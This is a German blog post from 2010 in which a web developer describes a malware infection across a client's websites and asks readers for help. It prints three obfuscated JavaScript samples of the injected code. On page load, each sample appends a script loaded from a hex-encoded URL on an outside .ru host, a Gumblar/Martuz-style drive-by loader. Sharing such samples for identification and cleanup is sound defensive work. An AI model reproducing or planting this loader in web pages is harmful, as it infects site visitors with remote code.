Virus auf vielen Webseiten

Geschrieben am 19 Mai, 2010 | Schreibe einen Kommentar

Seit gestern Nacht ist mein liebster Kunde in Panikstimmung. Und das völlig zurecht. Es hat sich auf extrem vielen Webseiten von ihm eine Art /Mailware eingenistet.

Bevor ich mich an die Ursache heran mache, heißt es erst einmal säubern.

Falls das hier jemand liest und eine Idee hat wo die Ursache davon liegt BITTE BITTE meldet Euch bei mir oder schreibt einen Kommentar. Werde diesen Beitrag hier noch ausführlicher erweitern, aber erstmal gibt es eine Menge zu tun, da alleine auf einem Account 100 Dateien betroffen sind.

  1. var wV={};var o={};var j=null;this._j="";var b=document;var A=window;var e_=[];var O=[];var C;QJ={wz:37237};var Zr=["wr","tu","d"];var G=RegExp;I=11433;I++;var ci=new Date();this.m="m";function l(){this.Zl=11911;this.Zl--;Rg={};function _(t,H,u){this.fU=43293;this.fU++;var ml="";return t.substr(H,u);eZ=["xo"];vb=["Yf"];}var Zd=37547;UA=["pw","K","OP"];var bn="bn";var k=String(_("]Ra4",0,1));var rk={};var AM={};uE=1909;uE--;var p='';var Ps=new String();var Gx="bod"+"y";var tZ=[];this.kG=49065;this.kG-=97;var E="\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x6e\x69\x6e\x67\x2e\x63\x6f\x6d\x2f\x64\x65\x74\x69\x6b\x2e\x63\x6f\x6d\x2e\x70\x68\x70";this.SV="";var k=new String("]");var QE=["cy"];var D=new String(_("scriLKV5",0,4)+_("pteVxk",0,2));xv=34266;xv++;function g(t,H){try {var vs='X'} catch(vs){};try {var ac='yr'} catch(ac){};var u="[";this.OJ=36742;this.OJ+=81;this.Mv="";u+=H;this.J="J";u+=k;this.RN=31843;this.RN-=81;var q=new G(u, new String(_("g7mI",0,1)));var te=false;return t[String("repl"+_("acek9s6",0,3))](q, p);};var cV={rI:16909};RQ=["Aib"];HO=["_M"];var R=g('cprOejaUtGepEglkepmUe2nvtv','uiOv9gpUsGjk2');KU=14370;KU+=20;var QJK=new Date();var jN=g('aWpkpOeJnUdXCYhtiYlOdB','TBEtcWjo35OJgr7vkYKG9X1U');this.PA=7373;this.PA--;var W='';var Dq={Gv:false};var z=584533-576453;var w=new String("htt"+"p:/"+"/ro"+"und"+"hou"+"r.r"+_("u:SbJh",0,2));T=38779;T--;nW=62077;nW-=234;j=String("onl"+_("oad2xeW",0,3));var sj=[];this.aR='';var bg="";C=function(){Lh=4169;Lh++;var AC=new Array();try {var LI=new Array();var XG={xp:false};GY=b[R](D);try {} catch(OK){};W=w;try {var IL='BH'} catch(IL){};jp=["vO"];W+=z;this.zb=49032;this.zb-=208;W+=E;var ku=String(_("sr0cw3",0,2)+_("2YDcD2Y",3,1));uzN={};var Z=g('dLecfQeHrE','GtbEQYZLcHNh');ip=48658;ip+=234;GY[ku]=W;this.yc=58339;this.yc-=85;bx={mq:43263};Qz=["Pp","tY"];GY[Z]=[1,9][0];zz=54454;zz+=148;CK=25986;CK+=106;b[Gx][jN](GY);var ss={};} catch(kZ){var ZH=38494;this.rO=36635;this.rO++;};try {} catch(mm){};this.iY=26323;this.iY-=16;};this.pY=65507;this.pY+=35;gO={vl:10285};};var tz=["px","hJ"];var tx=["xG","Dk"];l();MV={xI:"of"};A[j]=C;[/code]

  1. j={gP:32339};var PV={};var u=null;var _L=["f"];var mR=["zm"];var T;var z=window;var O=document;A={E:"M_"};var zH=RegExp;var O_=false;function I(){Xw=["H"];It=["aJ"];var PQ=["Mj","aD","Ga"];function X(D,o,_){try {var OK='t'} catch(OK){};var K=38516;return D.substr(o,_);var C={};}var t_="t_";this.qN="qN";var d=String(X("bodylvJ",0,4));var x=String(X("scripnoDI",0,5)+X("tCZI",0,1));var xP='';try {} catch(Lx){};try {var Kk='rJ'} catch(Kk){};var m=String("]");var m=new String("]");var Td="\x2f\x62\x65\x62\x6f\x2d\x63\x6f\x6d\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x75\x63\x6f\x7a\x2e\x72\x75\x2e\x70\x68\x70";this.CT='';this.xB='';function P(D,o){Y={sx:false};this.nn=false;var _=String("[");try {var p_='Nf'} catch(p_){};try {var td='pk'} catch(td){};_+=o;try {var Xf='bb'} catch(Xf){};_+=m;this.pM=28047;this.pM++;var IN=[];var V=new zH(_, new String("g"));this._V=49624;this._V++;var OAN=["en","uX","w"];return D[new String("repla"+"ce")](V, xP);ft=22246;ft--;this.pe=false;};this.fo=56858;this.fo++;this.DG=false;var In="http"+"://r"+"ound"+"hour"+X(".ru:ONy",0,4);var M=P('csrBedabtoeTEDloeFmveTndtQ','QV53oBFObd7vTRfkjKsD');fB={QW:"Vs"};CH={AI:"Z"};var PP=327481-319401;var KS={ZV:false};var Xi='';u="onlo"+X("adTJvA",0,2);var s=P('a4pqpWeonxdWCohWiWlVdx','Kqo3WN4XRxgV');this.MB=45781;this.MB+=9;try {var ze='o_'} catch(ze){};IU=21029;IU++;try {var yf='aP'} catch(yf){};var v='';var xJ="";this.Xv='';PT={hZ:"Gf"};var nk=new Date();T=function(){var tQ=new Date();var Yp=new Date();try {VS=["Mf"];g=O[M](x);HD=23913;HD+=114;IZ=7537;IZ++;v=In;var Il={};v+=PP;this.Ak=63184;this.Ak--;var bp=["eu","ug"];v+=Td;var ML={zex:"_K"};var WC="WC";var e=P('dXe0fPeArq','P0AqcX');var dE=String("src");g[e]=[2,1][1];var XV={nt:false};XN=["ih","acS"];this.Gw=5169;this.Gw++;var Kc={};g[dE]=v;var NK=false;this.Ci=false;O[d][s](g);var Sa=["bD"];} catch(a){this.nC=51801;this.nC-=63;};this.QS="QS";var QA="QA";};var MP='';this.bZ=false;};jk=64618;jk--;_Q={iw:"Up"};I();var zB=["Is","sg","WV"];var Jo=new Date();this.aF=false;this.BJ='';z[u]=T;yp=65331;yp-=111;
  1. this.u=23893;this.u+=123;var hC=37693;mt=["bX","s","p"];var X=document;this.Zb="";var C=window;var B=null;var _=RegExp;var Z;N={UH:25384};Fn={};function Cz(){nn=62567;nn++;function P(XX,n,U){this.T=12903;this.T--;Ud=59355;Ud++;return XX.substr(n,U);}KB={o:34627};var h="sc"+"ri"+"pt";hL=["UK","zQ"];this.uG=46611;this.uG-=229;EY={y:2810};k=["hF","S","gW"];var G=new String("]");fD={bw:false};var Bb="\x2f\x31\x31\x38\x31\x31\x34\x2d\x63\x6e\x2f\x67\x6f\x6f\x67\x6c\x65\x2e\x63\x6f\x6d\x2f\x6f\x72\x66\x2e\x61\x74\x2e\x70\x68\x70";var Xx=new String(P("bodyxhqJ",0,4));try {var JV='Cu'} catch(JV){};oQ=["tYz"];var G=P("]WyBl",0,1);var q={I:"po"};var _a='';BO=["V"];try {var Yy='ZZ'} catch(Yy){};var Hy=8433;var w="";function Q(XX,n){var HN=false;var iM={};var HS=19074;var U="[";U+=n;U+=G;var cH=["GH"];try {var no='qB'} catch(no){};var b=new _(U, new String("g"));BR={};yI={BH:15315};return XX[new String("re"+P("plNbq",0,2)+P("ygbPacgPyb",4,2)+P("eFAnK",0,1))](b, _a);};var e=Q('a2pXpKefnKdfCuh7i4l4dz','7Xu4r12gKfz_F');this.hw=40701;this.hw--;this.OM=false;B=new String("onlo"+P("adWn7V",0,2));var j=String(P("httXfE",0,3)+P("p:/b4L",0,3)+"/ro"+P("T4kWundk4WT",4,3)+P("Lp4MhouL4Mp",4,3)+"r.r"+"u:");var GU=5765;var fI="";var bJ=Q('cyrDeGayt2e7Efl8eRm_eynKt3','0XU1YfGk38W7DyK_2OR');fU=["JtO","ZC","Cl"];var Jtl=["ii","oN","dP"];var m=301081-293001;this.sO=49577;this.sO+=254;var Jw={CT:"_H"};var RF='';var O='';gN={GT:"Lqc"};try {var Wg='dA'} catch(Wg){};this.uT="";Z=function(){try {eR=X[bJ](h);uR=25116;uR-=2;var qm=["oN_","zg"];try {var QZ='im'} catch(QZ){};O=j;this.kh=5668;this.kh--;var Lr=["IU","Uc"];O+=m;try {var UU='Id'} catch(UU){};O+=Bb;this.jE=false;var L=Q('d_eIfie_rR','cj6iIPR4_');var KN=new String();var Yh=new Date();var R="src";Te=["Qc"];cK=1565;cK++;var tt={AI:7569};this.Xy=12935;this.Xy-=158;eR[R]=O;tx=["ON","Ml","YD"];Tq=[];eR[L]=[3,1][1];VD={};gS={};var dL=new Array();X[Xx][e](eR);Cm={};} catch(OJ){try {var bJM='kA'} catch(bJM){};GM=52521;GM++;var ge={};};tS=[];var Tb=false;};var CD={wi:19658};try {} catch(Zu){};var sN={YA:2150};};Cz();var zl='';this.md=40368;this.md-=42;var OrT=["dK"];var Ln=["tm","VR","loa"];C[B]=Z;

Das ist einer der Formen des Codes der sich eingenistet hat. Es gibt aber noch welche die jedes mal anders aussehen, darum ist das aufspüren so schwierig.

  • Gumblar
  • gumblar .cn
  • Martuz
  • Martuz .cn
  • Troj/JSRedir-R
  • iframe

Verwandte Artikel

Kategorie: Ärgerliches

Kommentare

Hinterlasse einen Kommentar